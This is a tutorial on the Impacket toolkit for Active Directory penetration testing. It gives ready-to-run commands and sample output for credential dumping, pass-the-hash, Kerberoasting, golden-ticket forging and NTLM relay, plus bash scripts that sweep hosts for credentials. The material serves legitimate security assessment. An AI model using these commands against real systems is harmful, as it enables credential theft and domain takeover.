Impacket: Complete Guide to Network Protocol Exploitation and Active Directory Attacks Using Kali Linux

Abdul Wahab Junaid

4 weeks ago

Impacket: Complete Guide to Network Protocol Exploitation and Active Directory Attacks Using Kali Linux

1. Tool Introduction

Impacket is a collection of Python classes, developed and maintained by Fortra (formerly SecureAuth), for working directly with network protocols at a low level. Rather than being a single tool, Impacket is a library plus a large set of standalone example scripts that implement core building blocks for Windows/Active Directory protocols: SMB/CIFS, MSRPC, Kerberos, NTLM, LDAP, and more. Because of this, Impacket underpins a huge portion of the offensive security tooling ecosystem — CrackMapExec, NetExec, and many custom scripts are all built on top of it. Its example scripts (installed to /usr/share/doc/python3-impacket/examples/ or accessible via commands like psexec.py, secretsdump.py, GetUserSPNs.py) provide ready-to-use command-line utilities for remote command execution, credential dumping, ticket manipulation, and relay attacks.

2. How to Install

# Preinstalled on Kali Linux, but to (re)install:
sudo apt update
sudo apt install python3-impacket -y

# Verify installation
psexec.py --help
secretsdump.py --help

Installing the latest version via pip (recommended to stay current with newly added scripts):

python3 -m pip install impacket --break-system-packages

# Or from source for bleeding-edge features:
git clone https://github.com/fortra/impacket.git
cd impacket
python3 -m pip install . --break-system-packages

3. Syntax

Impacket does not have a single unified binary; each capability is its own script:

<script_name>.py [options] [[domain/]username[:password]@]<target>

Commonly used scripts include: psexec.py, wmiexec.py, smbexec.py, atexec.py, secretsdump.py, GetUserSPNs.py, GetNPUsers.py, ticketer.py, getST.py, ntlmrelayx.py, smbclient.py, mssqlclient.py, rpcdump.py, lookupsid.py.

4. Command-Line Options (Kali Linux)

Shared authentication options across most scripts:

Option	Description
`-hashes <LM:NT>`	Authenticate using NTLM hash pair instead of a password
`-k`	Use Kerberos authentication
`-no-pass`	Do not prompt for a password (use with `-k`/hashes)
`-aesKey <key>`	AES key for Kerberos authentication
`-dc-ip <ip>`	IP of the domain controller
`-target-ip <ip>`	Explicit IP of the target (when different from hostname)
`-codec <codec>`	Encoding used for output
`-debug`	Enable debug/verbose output

psexec.py / wmiexec.py / smbexec.py / atexec.py (remote command execution):

Option	Description
`[domain/]user[:password]@target`	Positional target/auth spec
`-c <path>`	(psexec.py) Local executable to upload and run as a service
`-shell-type`	Shell type to spawn (cmd, powershell)
`-service-name <name>`	(psexec.py) Custom service name

secretsdump.py (credential dumping):

Option	Description
`-sam`	Dump only SAM hashes
`-security`	Dump only LSA secrets
`-ntds`	Dump NTDS.dit (domain controller)
`-just-dc`	Dump only DC-relevant data (users) from NTDS.dit
`-just-dc-user <user>`	Dump a single specific user’s data
`-outputfile <file>`	Save output to a file
`-use-vss`	Use Volume Shadow Copy for NTDS.dit extraction

GetUserSPNs.py / GetNPUsers.py (Kerberos attacks):

Option	Description
`-request`	Request TGS tickets for all found SPNs (Kerberoasting)
`-outputfile <file>`	Save hashes to crack offline
`-usersfile <file>`	(GetNPUsers.py) List of usernames to test for AS-REP roasting
`-format <hashcat/john>`	Output hash format
`-dc-ip <ip>`	Domain controller IP

ticketer.py / getST.py (ticket manipulation):

Option	Description
`-domain-sid <SID>`	Domain SID for forged ticket
`-domain <domain>`	Target domain
`-user-id <RID>`	RID to impersonate (ticketer.py)
`-spn <SPN>`	Target service principal name (getST.py)
`-aesKey / -nthash`	Key material used to forge/sign tickets
`-impersonate <user>`	User to impersonate (S4U2Self/S4U2Proxy, getST.py)

ntlmrelayx.py (relay attacks):

Option	Description
`-t <target>`	Single relay target
`-tf <file>`	File of relay targets
`-smb2support`	Enable SMB2 support
`-i`	Interactive SMB shell mode upon successful relay
`-socks`	Start a SOCKS proxy for relayed sessions
`-1`	Relay only one connection per victim

smbclient.py (interactive SMB shell):

Option	Description
(no flags)	Drops into an interactive shell supporting `use`, `ls`, `get`, `put`, `cd`

5. Basic Usage (Expected Output in Bash)

$ secretsdump.py CORP/administrator:'P@ssw0rd!'@10.10.10.5
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x1234...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5d5e0b0d0c0a0f0e0d0c0b0a09080706:::
[*] Cleaning up...

6. Practical Examples with Output

Example 1 – Remote command execution with psexec.py

$ psexec.py CORP/administrator:'P@ssw0rd!'@10.10.10.5
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on 10.10.10.5.....
[*] Uploading file jyKQoNBB.exe
[*] Opening SVCManager on 10.10.10.5.....
[*] Starting service jyKQoNBB.....
Microsoft Windows [Version 10.0.17763]
C:\Windows\system32>whoami
nt authority\system

Example 2 – wmiexec.py semi-interactive shell

$ wmiexec.py CORP/jdoe:'Autumn2024!'@10.10.10.12
Impacket v0.11.0 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
C:\>whoami
corp\jdoe

Example 3 – Dumping only the SAM database

$ secretsdump.py -sam SAM.save -system SYSTEM.save LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0xabc123...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Example 4 – Kerberoasting with GetUserSPNs.py

$ GetUserSPNs.py CORP/jdoe:'Autumn2024!' -dc-ip 10.10.10.5 -request -outputfile kerb_hashes.txt
Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName    Name        MemberOf     PasswordLastSet
----------------------  ----------  -----------  -------------------
MSSQLSvc/SQL01:1433     svc_sql     Domain Users  2023-05-01 10:22:15
[*] Saved 1 hash to kerb_hashes.txt

Example 5 – AS-REP roasting with GetNPUsers.py

$ GetNPUsers.py CORP/ -usersfile users.txt -dc-ip 10.10.10.5 -format hashcat -outputfile asrep.txt
Impacket v0.11.0 - Copyright 2023 Fortra
$krb5asrep$23$svc_backup@CORP:a1b2c3d4...
[*] Saved 1 AS-REP hash to asrep.txt

Example 6 – Forging a Golden Ticket with ticketer.py

$ ticketer.py -nthash 5d5e0b0d0c0a0f0e0d0c0b0a09080706 -domain-sid S-1-5-21-1111111111-2222222222-3333333333 -domain corp.local Administrator
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Creating basic skeleton ticket and PAC Infos
[*] Signing/Encrypting final ticket
[*] Saving ticket in Administrator.ccache

Example 7 – Starting an NTLM relay server

$ ntlmrelayx.py -tf relay_targets.txt -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Servers started, waiting for connections
[*] SMBD-Thread-4: Received connection from 10.10.10.30, attacking target smb://10.10.10.5
[*] Authenticating against smb://10.10.10.5 as CORP/jdoe SUCCEED

Example 8 – Interactive SMB client shell

$ smbclient.py CORP/jdoe:'Autumn2024!'@10.10.10.5
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# shares
NETLOGON
SYSVOL
C$
# use C$
# cd Users
# ls
drw-rw-rw-          0  Fri Jul 19 09:00:00 2026 Administrator

Example 9 – Enumerating remote procedure call (RPC) endpoints

$ rpcdump.py CORP/jdoe:'Autumn2024!'@10.10.10.5 | grep -A2 "Provider"
Protocol: [MS-SAMR]: Security Account Manager (SAM) Remote Protocol
Provider: SAMSRV.dll
UUID: 12345778-1234-abcd-ef00-0123456789ac

Example 10 – SID lookups/user enumeration with lookupsid.py

$ lookupsid.py CORP/jdoe:'Autumn2024!'@10.10.10.5
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Domain SID is: S-1-5-21-1111111111-2222222222-3333333333
500: CORP\Administrator (SidTypeUser)
501: CORP\Guest (SidTypeUser)
512: CORP\Domain Admins (SidTypeGroup)

7. Common Use Cases

Remote command execution against Windows hosts using valid credentials or NTLM hashes (psexec.py, wmiexec.py, smbexec.py, atexec.py).
Credential extraction from SAM, LSA secrets, and NTDS.dit (secretsdump.py) — a core step in most internal AD assessments.
Kerberos attack techniques: Kerberoasting (GetUserSPNs.py), AS-REP roasting (GetNPUsers.py), and ticket forging/manipulation (ticketer.py, getST.py) for privilege escalation and persistence testing.
NTLM relay attacks (ntlmrelayx.py) to leverage captured authentication attempts (e.g., via Responder) against other hosts.
Building custom offensive tooling — Impacket’s Python classes are frequently imported directly into bespoke scripts for protocol-specific research.
Underlying engine for higher-level tools like CrackMapExec/NetExec, so understanding Impacket helps troubleshoot and extend those tools.

8. Automation with Bash

#!/bin/bash
# impacket_ad_dump.sh - Automate common Impacket credential-gathering steps

DOMAIN="corp.local"
DC_IP="10.10.10.5"
USER="jdoe"
PASS="Autumn2024!"
OUTDIR="./impacket_results"
mkdir -p "$OUTDIR"

echo "[*] Kerberoasting..."
GetUserSPNs.py "$DOMAIN/$USER:$PASS" -dc-ip "$DC_IP" -request -outputfile "$OUTDIR/kerberoast.txt"

echo "[*] AS-REP roasting..."
GetNPUsers.py "$DOMAIN/" -usersfile users.txt -dc-ip "$DC_IP" -format hashcat -outputfile "$OUTDIR/asrep.txt"

echo "[*] RPC endpoint enumeration..."
rpcdump.py "$DOMAIN/$USER:$PASS@$DC_IP" > "$OUTDIR/rpcdump.txt"

echo "[*] Done. Results under $OUTDIR"

#!/bin/bash
# impacket_secretsdump_sweep.sh - Run secretsdump.py against a list of admin-accessible hosts

HOSTS_FILE="admin_hosts.txt"
DOMAIN="CORP"
USER="administrator"
PASS="P@ssw0rd!"
OUTDIR="./dumps"
mkdir -p "$OUTDIR"

while IFS= read -r host; do
  echo "=== Dumping $host ==="
  secretsdump.py "$DOMAIN/$USER:$PASS@$host" -outputfile "$OUTDIR/${host}_dump"
done < "$HOSTS_FILE"

9. Tips and Best Practices

Use -hashes for pass-the-hash whenever you already have NTLM hashes, avoiding the need to crack passwords first.
Prefer wmiexec.py for stealthier command execution (no service creation, unlike psexec.py) when OPSEC/detection avoidance matters within the agreed rules of engagement.
Always run secretsdump.py -just-dc against a domain controller instead of a full -ntds dump when you only need user hashes, since it’s faster and less resource-intensive on the DC.
Combine GetUserSPNs.py/GetNPUsers.py output directly with Hashcat/John the Ripper (-format hashcat) for offline cracking.
When using ticketer.py/getST.py for forged/delegated tickets, set KRB5CCNAME to the generated .ccache file and use export KRB5CCNAME=ticket.ccache before using -k with other Impacket scripts.
Keep Impacket updated via pip, since Microsoft patches and protocol changes (e.g., relay mitigations, PAC validation) are addressed in newer releases.

10. Troubleshooting

Problem	Cause	Solution
`STATUS_ACCESS_DENIED` on psexec.py/wmiexec.py	Account lacks admin rights on target, or UAC remote restrictions	Verify local admin/Domain Admin equivalence; check `LocalAccountTokenFilterPolicy` registry setting for local accounts
`secretsdump.py -ntds` extremely slow	Full DRSUAPI replication on a large domain	Use `-just-dc-user <user>` to target a specific account, or use `-use-vss`
Kerberos errors (“Clock skew too great”)	Time not synced between attacking host and DC	`sudo ntpdate <dc-ip>` or configure `chrony`
`ntlmrelayx.py` receives connections but relay fails	Target enforces SMB signing	Target hosts without signing enforced, or pivot to another relay-able protocol (LDAP/HTTP)
Ticket (`ticketer.py`) not accepted by target	Wrong domain SID, mismatched encryption type, or clock skew	Double-check domain SID accuracy and sync system time

11. References

GitHub repository: https://github.com/fortra/impacket
Official Fortra Impacket page: https://www.fortra.com/open-source-tools/impacket
Kali Linux tool page: https://www.kali.org/tools/impacket-scripts/
Example script documentation: https://github.com/fortra/impacket/tree/master/examples